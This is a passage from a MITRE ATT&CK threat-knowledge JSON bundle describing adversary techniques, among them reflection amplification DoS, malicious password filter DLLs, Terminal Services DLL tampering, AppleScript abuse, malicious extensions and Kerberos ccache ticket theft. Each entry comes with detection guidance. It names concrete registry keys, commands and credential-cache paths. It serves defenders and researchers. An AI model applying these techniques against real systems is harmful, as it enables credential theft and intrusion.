                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:53:01.571Z",
            "name": "Network Trust Dependencies",
            "description": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01",
            "created": "2020-03-02T20:08:03.691Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1498/002",
                    "external_id": "T1498.002"
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
                },
                {
                    "source_name": "Cloudflare DNSamplficationDoS",
                    "description": "Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.",
                    "url": "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/"
                },
                {
                    "source_name": "Cloudflare NTPamplifciationDoS",
                    "description": "Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.",
                    "url": "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/"
                },
                {
                    "source_name": "Cloudflare ReflectionDoS May 2017",
                    "description": "Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.",
                    "url": "https://blog.cloudflare.com/reflections-on-reflections/"
                },
                {
                    "source_name": "Cloudflare Memcrashed Feb 2018",
                    "description": "Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.",
                    "url": "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/"
                },
                {
                    "source_name": "Arbor AnnualDoSreport Jan 2018",
                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
                    "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:59:22.782Z",
            "name": "Reflection Amplification",
            "description": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_impact_type": [
                "Availability"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
            "created": "2020-02-11T19:05:45.829Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1556/002",
                    "external_id": "T1556.002"
                },
                {
                    "source_name": "Clymb3r Function Hook Passwords Sept 2013",
                    "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
                    "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
                },
                {
                    "source_name": "Carnal Ownage Password Filters Sept 2013",
                    "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
                    "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:56:08.743Z",
            "name": "Password Filter DLL",
            "description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Vincent Le Toux"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "File: File Creation",
                "Module: Module Load"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8",
            "created": "2022-03-28T15:34:44.590Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1505/005",
                    "external_id": "T1505.005"
                },
                {
                    "source_name": "James TermServ DLL",
                    "description": "James. (2019, July 14). @James_inthe_box. Retrieved September 12, 2024.",
                    "url": "https://x.com/james_inthe_box/status/1150495335812177920"
                },
                {
                    "source_name": "Microsoft System Services Fundamentals",
                    "description": "Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022.",
                    "url": "https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx"
                },
                {
                    "source_name": "Microsoft Remote Desktop Services",
                    "description": "Microsoft. (2019, August 23). About Remote Desktop Services. Retrieved March 28, 2022.",
                    "url": "https://docs.microsoft.com/windows/win32/termserv/about-terminal-services"
                },
                {
                    "source_name": "RDPWrap Github",
                    "description": "Stas'M Corp. (2014, October 22). RDP Wrapper Library by Stas'M. Retrieved March 28, 2022.",
                    "url": "https://github.com/stascorp/rdpwrap"
                },
                {
                    "source_name": "Windows OS Hub RDP",
                    "description": "Windows OS Hub. (2021, November 10). How to Allow Multiple RDP Sessions in Windows 10 and 11?. Retrieved March 28, 2022.",
                    "url": "http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:15:45.110Z",
            "name": "Terminal Services DLL",
            "description": "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: <code>svchost.exe</code>) load the service's DLL file, the location of which is stored in a Registry entry named <code>ServiceDll</code>.(Citation: Microsoft System Services Fundamentals) The <code>termsrv.dll</code> file, typically stored in `%SystemRoot%\\System32\\`, is the default <code>ServiceDll</code> value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the <code>termsrv.dll</code> file or modifying the <code>ServiceDll</code> value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for changes to Registry keys associated with <code>ServiceDll</code> and other subkey values under <code>HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\</code>.\n\nMonitor unexpected changes and/or interactions with <code>termsrv.dll</code>, which is typically stored in <code>%SystemRoot%\\System32\\</code>.\n\nMonitor commands as well as  processes and arguments for potential adversary actions to modify Registry values (ex: <code>reg.exe</code>) or modify/replace the legitimate <code>termsrv.dll</code>.\n\nMonitor module loads by the Terminal Services process (ex: <code>svchost.exe -k termsvcs</code>) for unexpected DLLs (the default is <code>%SystemRoot%\\System32\\termsrv.dll</code>, though an adversary could also use [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Command: Command Execution",
                "File: File Modification",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb",
            "created": "2020-03-09T14:07:54.329Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059/002",
                    "external_id": "T1059.002"
                },
                {
                    "source_name": "Apple AppleScript",
                    "description": "Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.",
                    "url": "https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html"
                },
                {
                    "source_name": "SentinelOne macOS Red Team",
                    "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.",
                    "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"
                },
                {
                    "source_name": "SentinelOne AppleScript",
                    "description": "Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.",
                    "url": "https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/"
                },
                {
                    "source_name": "Macro Malware Targets Macs",
                    "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:22.484Z",
            "name": "AppleScript",
            "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call <code>osascript</code> to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0<code>NSAppleScript</code>\u00a0or\u00a0<code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Phil Stokes, SentinelOne"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for execution of AppleScript through <code>osascript</code> and usage of the <code>NSAppleScript</code> and <code>OSAScript</code> APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Creation",
                "Process: OS API Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1176",
                    "external_id": "T1176"
                },
                {
                    "source_name": "Abramovsky VSCode Security",
                    "description": "Abramovsky, O. (2023, May 16). VSCode Security: Malicious Extensions Detected- More Than 45,000 Downloads- PII Exposed, and Backdoors Enabled. Retrieved March 30, 2025.",
                    "url": "https://blog.checkpoint.com/securing-the-cloud/malicious-vscode-extensions-with-more-than-45k-downloads-steal-pii-and-enable-backdoors/"
                },
                {
                    "source_name": "xorrior chrome extensions macOS",
                    "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.",
                    "url": "https://www.xorrior.com/No-Place-Like-Chrome/"
                },
                {
                    "source_name": "Chrome Extension C2 Malware",
                    "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:22.784Z",
            "name": "Software Extensions",
            "description": "Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms.(Citation: Chrome Extension C2 Malware)(Citation: Abramovsky VSCode Security) Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application. \n\n  \nMalicious extensions can be introduced through various methods, including social engineering, compromised marketplaces, or direct installation by users or by adversaries who have already gained access to a system. Malicious extensions can be named similarly or identically to benign extensions in marketplaces. Security mechanisms in extension marketplaces may be insufficient to detect malicious components, allowing adversaries to bypass automated scanners or exploit trust established during the installation process. Adversaries may also abuse benign extensions to achieve their objectives, such as using legitimate functionality to tunnel data or bypass security controls. \n\nThe modular nature of extensions and their integration with host applications make them an attractive target for adversaries seeking to exploit trusted software ecosystems. Detection can be challenging due to the inherent trust placed in extensions during installation and their ability to blend into normal application workflows. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Chris Ross @xorrior",
                "Justin Warner, ICEBRG",
                "Manikantan Srinivasan, NEC Corporation India"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nOn macOS, monitor the command line for usage of the profiles tool, such as <code>profiles install -type=configuration</code>. Additionally, all installed extensions maintain a <code>plist</code> file in the <code>/Library/Managed Preferences/username/</code> directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Network Traffic: Network Traffic Flow",
                "Command: Command Execution",
                "File: File Creation",
                "Network Traffic: Network Connection Creation",
                "Windows Registry: Windows Registry Key Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858",
            "created": "2020-02-20T15:31:43.613Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1499/002",
                    "external_id": "T1499.002"
                },
                {
                    "source_name": "Arbor SSLDoS April 2012",
                    "description": "ASERT Team, Netscout Arbor. (2012, April 24). DDoS Attacks on SSL: Something Old, Something New. Retrieved April 22, 2019.",
                    "url": "https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new"
                },
                {
                    "source_name": "Cisco DoSdetectNetflow",
                    "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
                },
                {
                    "source_name": "Cloudflare HTTPflood",
                    "description": "Cloudflare. (n.d.). What is an HTTP flood DDoS attack?. Retrieved April 22, 2019.",
                    "url": "https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/"
                },
                {
                    "source_name": "Arbor AnnualDoSreport Jan 2018",
                    "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.",
                    "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:06:48.799Z",
            "name": "Service Exhaustion Flood",
            "description": "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)",
            "kill_chain_phases": [
                {
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                    "description": "Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.",
                    "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1"
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                    "source_name": "Apple Core Services",
                    "description": "Apple. (n.d.). Core Services. Retrieved June 25, 2020.",
                    "url": "https://developer.apple.com/documentation/coreservices"
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                    "source_name": "macOS Foundation",
                    "description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020.",
                    "url": "https://developer.apple.com/documentation/foundation"
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                    "source_name": "OutFlank System Calls",
                    "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.",
                    "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/"
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                    "source_name": "Redops Syscalls",
                    "description": "Feichter, D. (2023, June 30). Direct Syscalls vs Indirect Syscalls. Retrieved September 27, 2023.",
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                    "source_name": "GNU Fork",
                    "description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.",
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                    "source_name": "CyberBit System Calls",
                    "description": "Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.",
                    "url": "https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/"
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                    "source_name": "GLIBC",
                    "description": "glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.",
                    "url": "https://www.gnu.org/software/libc/"
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                    "description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020.",
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                    "source_name": "Linux Kernel API",
                    "description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.",
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                    "source_name": "Microsoft CreateProcess",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.",
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                    "source_name": "Microsoft Win32",
                    "description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/api/"
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                    "source_name": "Microsoft NET",
                    "description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.",
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                    "source_name": "NT API Windows",
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                    "description": " ARC Labs, Dwyer, John. Gonzalez, Eric. Hudak, Tyler. (2024, October 1). Shining a Light in the Dark \u2013 How Binary Defense Uncovered an APT Lurking in Shadows of IT. Retrieved October 7, 2024.",
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                    "source_name": "Kekeo",
                    "description": "Benjamin Delpy. (n.d.). Kekeo. Retrieved October 4, 2021.",
                    "url": "https://github.com/gentilkiwi/kekeo"
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                    "source_name": "SpectorOps Bifrost Kerberos macOS 2019",
                    "description": "Cody Thomas. (2019, November 14). When Kirbi walks the Bifrost. Retrieved October 6, 2021.",
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                {
                    "source_name": "Brining MimiKatz to Unix",
                    "description": "Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.",
                    "url": "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"
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                    "source_name": "Linux Kerberos Tickets",
                    "description": "Trevor Haskell. (2020, April 1). Kerberos Tickets on Linux Red Teams. Retrieved October 4, 2021.",
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            "description": "\nAdversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials. \n\nThe <code>/etc/krb5.conf</code> configuration file and the <code>KRB5CCNAME</code> environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using <code>kinit</code>, which obtains a Ticket-Granting-Ticket (TGT) for the principal; <code>klist</code>, which lists obtained tickets currently held in the credentials cache; and other built-in binaries.(Citation: Kerberos GNU/Linux)(Citation: Binary Defense Kerberos Linux)\n\nAdversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform [Privilege Escalation](https://attack.mitre.org/tactics/TA0004). Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further [Lateral Movement](https://attack.mitre.org/tactics/TA0008). On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and 